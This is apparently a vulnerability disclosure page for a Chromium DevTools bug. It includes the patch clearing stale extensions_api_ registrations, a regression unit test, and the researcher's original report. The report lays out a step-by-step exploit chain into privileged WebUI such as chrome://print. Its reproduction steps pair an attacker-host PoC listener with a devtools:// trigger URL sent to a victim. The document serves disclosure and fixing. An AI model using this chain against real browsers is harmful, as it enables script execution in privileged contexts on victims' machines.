CVE-2026-17853
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/browser/devtools/devtools_ui_bindings.cc |
modified |
Files Changed
chrome/browser/devtools/devtools_ui_bindings.ccchrome/browser/devtools/devtools_ui_bindings.hchrome/browser/devtools/devtools_ui_bindings_unittest.cc
Patch
From 89da2e763993d2088fa64e5b6e7c46094652da72 Mon Sep 17 00:00:00 2001 From: Alex Rudenko <[email protected]> Date: Mon, 15 Jun 2026 00:24:47 -0700 Subject: [PATCH] Clear extensions_api_ when frontend_host_ is reset Fixed: 519472272 Change-Id: I646f6a4749f6d489a58c3b1f08b8db3bc40e2b17 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7930250 Reviewed-by: Philip Pfaffe <[email protected]> Commit-Queue: Alex Rudenko <[email protected]> Cr-Commit-Position: refs/heads/main@{#1646612} --- diff --git a/chrome/browser/devtools/devtools_ui_bindings.cc b/chrome/browser/devtools/devtools_ui_bindings.cc index dc24be8..61294815 100644 --- a/chrome/browser/devtools/devtools_ui_bindings.cc +++ b/chrome/browser/devtools/devtools_ui_bindings.cc @@ -3032,6 +3032,7 @@ LOG(ERROR) << "Attempt to navigate to an invalid DevTools front-end URL: " << navigation_handle->GetURL().spec(); frontend_host_.reset(); + extensions_api_.clear(); return; } if (frontend_host_) { @@ -3054,6 +3055,10 @@ return; } + if (!frontend_host_) { + return; + } + content::RenderFrameHost* frame = navigation_handle->GetRenderFrameHost(); std::string origin = navigation_handle->GetURL().DeprecatedGetOriginAsURL().spec(); diff --git a/chrome/browser/devtools/devtools_ui_bindings.h b/chrome/browser/devtools/devtools_ui_bindings.h index f3bb7326..977e1500 100644 --- a/chrome/browser/devtools/devtools_ui_bindings.h +++ b/chrome/browser/devtools/devtools_ui_bindings.h @@ -151,6 +151,13 @@ void SetHttpServiceRegistryForTesting( std::unique_ptr<DevToolsHttpServiceRegistry> service_registry); + const std::map<std::string, std::string>& GetExtensionsAPIForTesting() const { + return extensions_api_; + } + void RegisterExtensionsAPIForTesting(const std::string& origin, + const std::string& script) { + RegisterExtensionsAPI(origin, script); + } static base::DictValue GetSyncInformationForProfile(Profile* profile); diff --git a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc index 7d83841d..d74869a 100644 --- a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc +++ b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc @@ -160,6 +160,24 @@ } TEST_F(DevToolsUIBindingsLoadNetworkResourceTest, + ClearExtensionsAPIOnNavigatingAway) { + bindings()->RegisterExtensionsAPIForTesting("http://example.test", "script"); + EXPECT_EQ(bindings()->GetExtensionsAPIForTesting().size(), 1u); + + // Navigate to a valid DevTools URL first. + GURL devtools_url("devtools://devtools/bundled/devtools_app.html"); + content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(), + devtools_url); + EXPECT_EQ(bindings()->GetExtensionsAPIForTesting().size(), 1u); + + // Navigate away to a non-DevTools URL. + GURL print_url("https://example.test"); + content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(), + print_url); + EXPECT_TRUE(bindings()->GetExtensionsAPIForTesting().empty()); +} + +TEST_F(DevToolsUIBindingsLoadNetworkResourceTest, BlocksFileSchemeFromUntrustedFrontends) { std::vector<GURL> untrusted_urls = { GURL("devtools://devtools/remote/serve_rev/@12345/inspector.html"),
Regression Test / PoC
diff --git a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
index 7d83841d..d74869a 100644
--- a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
+++ b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc
@@ -160,6 +160,24 @@
}
TEST_F(DevToolsUIBindingsLoadNetworkResourceTest,
+ ClearExtensionsAPIOnNavigatingAway) {
+ bindings()->RegisterExtensionsAPIForTesting("http://example.test", "script");
+ EXPECT_EQ(bindings()->GetExtensionsAPIForTesting().size(), 1u);
+
+ // Navigate to a valid DevTools URL first.
+ GURL devtools_url("devtools://devtools/bundled/devtools_app.html");
+ content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(),
+ devtools_url);
+ EXPECT_EQ(bindings()->GetExtensionsAPIForTesting().size(), 1u);
+
+ // Navigate away to a non-DevTools URL.
+ GURL print_url("https://example.test");
+ content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(),
+ print_url);
+ EXPECT_TRUE(bindings()->GetExtensionsAPIForTesting().empty());
+}
+
+TEST_F(DevToolsUIBindingsLoadNetworkResourceTest,
BlocksFileSchemeFromUntrustedFrontends) {
std::vector<GURL> untrusted_urls = {
GURL("devtools://devtools/remote/serve_rev/@12345/inspector.html"),
Original Bug Report
DevTools Observer Teardown Race Allows Stale Extension-Script Injection into Privileged WebUI Frames
Report description
DevTools Observer Teardown Race Allows Stale Extension-Script Injection into Privileged WebUI Frames
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://github.com/chromium/chromium
The problem
Please describe the technical details of the vulnerability
VULNERABILITY DETAILS
1. Entry point: arbitrary JavaScript in devtools://devtools
This report starts from the Issue-517394007 result: the attacker already has arbitrary JavaScript execution inside devtools://devtools and can access DevTools embedder surfaces such as InspectorFrontendHost / DevToolsHost.
From that position, Issue-517394007 already provides two important capabilities. First, registerExtensionsAPI / setInjectedScriptForOrigin can install main-world scripts into frameable http / https pages, resulting in UXSS over web origins that the DevTools frontend can embed. Second, the DevTools file-read primitive can be used to execute script in a file:// context and steal arbitrary local file contents.
The missing step is crossing into Chrome-owned privileged WebUIs. A DevTools page should not be able to simply navigate or frame chrome://print and execute script there.
2. Root cause: FrontendWebContentsObserver remains armed during DevTools teardown
The root cause is a lifecycle race in DevToolsUIBindings: the origin-keyed script registration and the observer that consumes it are not synchronously disabled when the primary DevTools frame starts committing a non-DevTools URL.
The observer forwards every navigation commit point in the DevTools WebContents to DevToolsUIBindings:
void DevToolsUIBindings::FrontendWebContentsObserver::ReadyToCommitNavigation(
content::NavigationHandle* navigation_handle) {
devtools_bindings_->ReadyToCommitNavigation(navigation_handle);
}
The DevTools frontend can register an injected script for an arbitrary origin:
void DevToolsUIBindings::RegisterExtensionsAPI(const std::string& origin,
const std::string& script) {
extensions_api_[origin + "/"] = script;
}
When the primary frame commits a non-DevTools URL, the primary-frame branch only resets frontend_host_ and returns:
if (navigation_handle->IsInPrimaryMainFrame()) {
if (!IsValidFrontendURL(navigation_handle->GetURL())) {
frontend_host_.reset();
return;
}
// ...
return;
}
However, it does not clear extensions_api_, and it does not immediately detach or disable FrontendWebContentsObserver. Until the old DevToolsUI / DevToolsUIBindings object is destroyed, the subframe branch can still run:
content::RenderFrameHost* frame = navigation_handle->GetRenderFrameHost();
std::string origin =
navigation_handle->GetURL().DeprecatedGetOriginAsURL().spec();
auto it = extensions_api_.find(origin);
if (it == extensions_api_.end()) {
return;
}
std::string script = base::StringPrintf(
"%s(\"%s\")", it->second.c_str(),
base::Uuid::GenerateRandomV4().AsLowercaseString().c_str());
content::DevToolsFrontendHost::SetupExtensionsAPI(frame, script);
There is no revalidation here that the primary frame is still the current valid DevTools frontend. Therefore, if a new top-level page creates a matching subframe before the old DevTools bindings finish teardown, that subframe can receive the stale DevTools-registered script.
The security boundary violation occurs in this teardown window: a subframe commit that races before the old DevToolsUIBindings is destroyed can still be treated as a DevTools-controlled subframe and receive the stale registered script. The exploit widens that window and creates the target WebUI subframe early enough for the stale observer to process it.
3. Exploit: crossing into frameable privileged WebUIs
The attached PoC uses the built-in PDF Viewer extension only as the exploitation route. It is not the root cause. The reason it is useful is that the DevTools frontend cannot directly create a chrome:// iframe. Instead, the PoC registers an injected script for the PDF Viewer extension origin, then uses that extension context to call chrome.tabs APIs and create the Chrome-owned embedding context needed to frame the target WebUI.
The high-level chain is:
- Issue-517394007 obtains JavaScript execution in
devtools://devtools. - The payload registers a stale injected script for the target privileged WebUI origin, such as
chrome://print. - The payload also registers an injected script for the built-in PDF Viewer extension origin.
- The DevTools frontend frames the PDF Viewer extension, causing the registered PDF extension script to run.
- From the PDF extension context, the payload uses
chrome.tabs.update()to navigate the original DevTools tab to achrome://resourcesdocument. - During the DevTools teardown window, the PDF extension script uses
chrome.tabs.executeScript()to run code inchrome://resourcesand create an iframe to another frameable Chrome-owned WebUI. - The still-live DevTools observer sees the subframe commit, finds the stale registration in
extensions_api_, and callsSetupExtensionsAPI()for the WebUI frame.
For the attached PoC, the framed WebUI is:
<iframe src="chrome://print"></iframe>
The same pattern applies to other privileged WebUIs that are frameable and do not deny framing via X-Frame-Options or frame-ancestors.
VERSION
Chrome Version: 149.0.7827.54 (Stable) Operating System: Windows 11
REPRODUCTION CASE
PoC is attached as poc-devtools-print-alert-poc.py. It runs a single listener/port: the same port serves the fake CDP WebSocket and a tiny transport page used by the DevTools XSS bootstrap.
-
On the attacker host, start the PoC:
python poc-devtools-print-alert-poc.py --ws-host <attacker_public_ip>By default, it listens on:
0.0.0.0:9243 fake CDP WebSocket and bootstrap transportThe script prints a trigger URL like:
devtools://devtools/remote/serve_file/@4208825df40e9a2fe8cb1e91357062b86f8d2aea/inspector.html?ws=<attacker_public_ip>:9243&panel=elements -
On the victim host, open the printed
devtools://URL in Chrome 149. -
Expected result: the DevTools tab is navigated to a
chrome://resourcesdocument, embeds achrome://print/iframe, and JavaScript executes inside the print frame.
CREDIT INFORMATION
Orange Tsai (@orange_8361) of DEVCORE Research Team
Impact analysis
SUMMARY
DevToolsUIBindings lets a DevTools frontend register origin-keyed injected scripts in extensions_api_. Those registrations are later consumed by DevToolsUIBindings::FrontendWebContentsObserver when a subframe commits a matching origin.
When the primary frame starts navigating away from devtools://devtools, DevToolsUIBindings::ReadyToCommitNavigation() resets frontend_host_, but it does not synchronously clear extensions_api_ or disarm the observer’s subframe-injection path. During the old DevTools WebUI teardown window, a subframe created by the new top-level page can still consume the stale registration and receive SetupExtensionsAPI().
This lets a devtools://devtools XSS escape the original DevTools-only context. Without this lifecycle bug, the DevTools injected-script primitive is limited to frameable http/https content that DevTools can normally embed. With the race, the stale DevTools registration can be consumed after the WebContents starts becoming a Chrome-owned page, leading to JavaScript execution in frameable privileged WebUIs. The attached PoC uses chrome://print as the demo target, but the target class is any frameable privileged WebUI without X-Frame-Options / frame-ancestors protection.
NOTE
This report is a follow-up chain for Issue-517394007. Issue-517394007 ends with arbitrary JavaScript execution inside the DevTools frontend and access to DevTools embedder surfaces such as InspectorFrontendHost / DevToolsHost.
The purpose of this report is to show the next impact expansion: the DevTools primitive can be chained into arbitrary JavaScript execution in frameable privileged WebUIs. The attached PoC uses chrome://print as a concrete demo target, but the security impact is crossing from DevTools-owned execution into Chrome-owned WebUI execution.
The cause
What version of Chrome have you found the security issue in?
149.0.7827.54 (Stable)
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Cross-site scripting (XSS)
How would you like to be publicly acknowledged for your report?
Orange Tsai (@orange_8361) of DEVCORE Research Team